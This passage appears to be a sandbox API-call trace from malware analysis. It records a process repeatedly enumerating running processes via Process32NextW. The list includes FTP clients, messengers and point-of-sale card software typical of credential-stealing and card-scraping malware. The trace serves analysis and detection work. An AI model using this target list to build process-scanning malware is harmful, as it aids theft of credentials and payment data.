th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 0 [0078.543] CloseHandle (hObject=0x164) returned 1 [0078.543] Sleep (dwMilliseconds=0x1f4) [0079.215] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1b4 [0079.223] Process32FirstW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0079.225] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0079.226] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0079.228] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.229] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0079.231] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0079.232] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0079.234] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0079.236] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0079.238] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0079.239] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.241] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.242] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.244] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.245] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0079.247] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0080.598] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.600] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.602] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0080.603] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0080.605] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0080.607] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0080.609] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.611] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0080.613] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0080.614] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.616] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0080.618] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0080.619] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ltd revolutionary regulations.exe")) returned 1 [0080.621] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="similar.exe")) returned 1 [0080.623] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="guestbook saturday.exe")) returned 1 [0080.624] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="perceived.exe")) returned 1 [0080.625] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="communities calculate.exe")) returned 1 [0080.627] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gravekingdodge.exe")) returned 1 [0080.628] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="entitled.exe")) returned 1 [0080.630] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="f_sign.exe")) returned 1 [0080.631] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mathematical carbon.exe")) returned 1 [0080.633] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="referrals-pamela-algebra.exe")) returned 1 [0080.634] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="paintingscompiledbeing.exe")) returned 1 [0080.953] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="collective.exe")) returned 1 [0080.955] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mls-miracle-bestsellers.exe")) returned 1 [0080.956] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="screenshot-venture-distance.exe")) returned 1 [0080.958] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="meditation-vic-easily.exe")) returned 1 [0080.960] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="request-mhz.exe")) returned 1 [0080.961] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x850, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="jefferson.exe")) returned 1 [0080.963] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0080.964] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x870, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0080.966] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x880, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0080.968] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0080.969] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0080.971] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0080.972] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0080.974] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0080.976] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0080.977] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0080.979] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0080.981] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x928, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0080.982] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0080.984] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x958, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0080.987] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x968, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0080.989] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0080.992] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x988, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0080.995] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0080.997] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0081.261] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0081.263] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0081.267] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0081.269] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0081.272] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0081.274] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0081.276] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0081.279] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0081.281] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0081.284] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0081.286] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0081.288] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0081.290] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0081.293] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0081.295] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xab8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0081.543] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0081.545] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xad8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0081.548] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0081.549] Process32NextW (in: hSnapshot=0x1b4, lppe=0x25afc74 | out: lppe=0x25afc74*(dwSize=0x22c, cntUsage=0x0, 